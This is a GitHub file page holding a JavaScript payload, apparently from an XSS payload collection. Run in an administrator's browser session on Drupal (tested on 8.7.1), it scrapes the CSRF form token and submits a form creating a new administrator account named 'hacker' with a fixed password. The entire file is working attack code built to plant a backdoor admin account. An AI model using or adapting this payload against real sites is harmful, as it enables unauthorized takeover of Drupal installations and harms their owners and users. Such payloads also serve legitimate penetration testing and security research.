-
Notifications
You must be signed in to change notification settings - Fork 217
/
drupal_create_admin_user.js
76 lines (75 loc) · 3.17 KB
/
drupal_create_admin_user.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/*
Target: Drupal - tested on 8.7.1 but probably works on older versions
Action: Create a new administrative user with username "hacker" and password "trees are nice 135"
Context: Must be executed in the context of an administrator user
*/
var drupal_root = "" //don't put a trailing slash
var req = new XMLHttpRequest();
var url = drupal_root + "/admin/people/create";
var regex = /ken" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var token = regex.exec(req.responseText);
var token = token[1];
req.open("POST", url, true);
req.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
req.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
req.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------16060183381995026921942491393");
req.withCredentials = true;
var body = "-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"mail\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"name\"\r\n" +
"\r\n" +
"hacker\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"pass[pass1]\"\r\n" +
"\r\n" +
"trees are nice 135\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"pass[pass2]\"\r\n" +
"\r\n" +
"trees are nice 135\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"status\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"roles[administrator]\"\r\n" +
"\r\n" +
"administrator\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"form_token\"\r\n" +
"\r\n" +
token + "\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"form_id\"\r\n" +
"\r\n" +
"user_register_form\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"contact\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"timezone\"\r\n" +
"\r\n" +
"Australia/Brisbane\r\n" +
"-----------------------------16060183381995026921942491393\r\n" +
"Content-Disposition: form-data; name=\"op\"\r\n" +
"\r\n" +
"Create new account\r\n" +
"-----------------------------16060183381995026921942491393--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
req.send(new Blob([aBody]));